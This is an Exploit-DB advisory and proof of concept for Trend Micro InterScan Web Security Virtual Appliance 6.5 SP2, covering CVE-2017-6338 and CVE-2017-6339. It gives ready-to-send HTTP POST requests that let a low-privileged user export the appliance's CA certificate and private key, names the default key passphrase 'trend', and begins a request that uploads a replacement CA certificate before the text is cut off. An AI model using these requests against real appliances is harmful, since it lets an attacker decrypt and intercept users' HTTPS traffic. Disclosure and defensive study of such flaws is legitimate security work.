Exploit-DB #42013
Description: Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2017-01-12
Author: SlidingWindow

Exploit:
# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities]
# Date: [12/01/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/]
# Version: [Tested on  IWSVA 6.5-SP2 Critical Patch Build 1739 and prior versions in 6.5.x series. Older versions may also be affected]
# Tested on: [IWSVA 6.5-SP2 Critical Patch Build 1739]
# CVE : [CVE-2017-6338,CVE-2017-6339,CVE-2017-6340]
# Vendor Security Bulletin: https://success.trendmicro.com/solution/1116960

==================
#Product:-
==================
Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection.

==================
#Vulnerabilities:-
==================
Multiple Incorrect Access Control,Stored Cross Site Scripting, and Sensitive Information Disclosure vulnerabilities

========================
#Vulnerability Details:-
========================

=============================================================================================================================
Sensitive Information Disclosure Vulnerability (CVE-2017-6339):-
=============================================================================================================================

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA. An attacker with low privileges can download current CA certificate and Private Key (either the default ones or uploaded by administrators) and use those to decrypt HTTPS traffic thus compromising confidentiality.
Also, the default Private Key on this appliance is encrypted with very weak and guessable passphrase ‘trend’. If an appliance uses default Certificate and Private Key provided by Trend Micro, an attacker can simply download these and decrypt the Private Key using default passphrase ‘trend’.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user.
2. Send following POST requests:

Request#1: Download 'get_current_ca_cert.cer'

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportcert HTTP/1.1 
Host: 192.168.253.150:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: JSESSIONID=<SessionID>
Connection: close 
Upgrade-Insecure-Requests: 1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 147 

CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=


Request#2: Download 'get_current_ca_key.cer'

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportkey HTTP/1.1
Host: 192.168.253.150:1812 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: JSESSIONID=<SessionID> 
Connection: close 
Upgrade-Insecure-Requests: 1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 147 

CSRFGuardToken=<Token>&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=

3.Decrypt the Private Key using passphrase ‘trend’.


=============================================================================================================================
Multiple Incorrect Access Control Vulnerabilities (CVE-2017-6338):
=============================================================================================================================

#1. Missing functional level access control allows a low privileged user upload HTTPS Decryption Certificate and Private Key:
-----------------------------------------------------------------------------------------------------------------------------

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA.
An attacker with low privileges can upload new CA certificate and Private Key and use those to decrypt HTTPS traffic thus compromising confidentiality.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user ‘Test2’.
2. Send following POST request:

Request#1:

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=import HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e11fd2fd0ac0
Accept-Encoding: gzip, deflate
Content-Length: 4085
Host: 192.168.253.150:1812
Pragma: no-cache
Cookie: JSESSIONID=E595855EF[PII_REDACTED]945280ABA46CD
Connection: close

-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="CSRFGuardToken"

S8PM5QG974XLWS992MCK5M67T6D0A575
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="op"

save
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="defaultca"
no
-----------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="import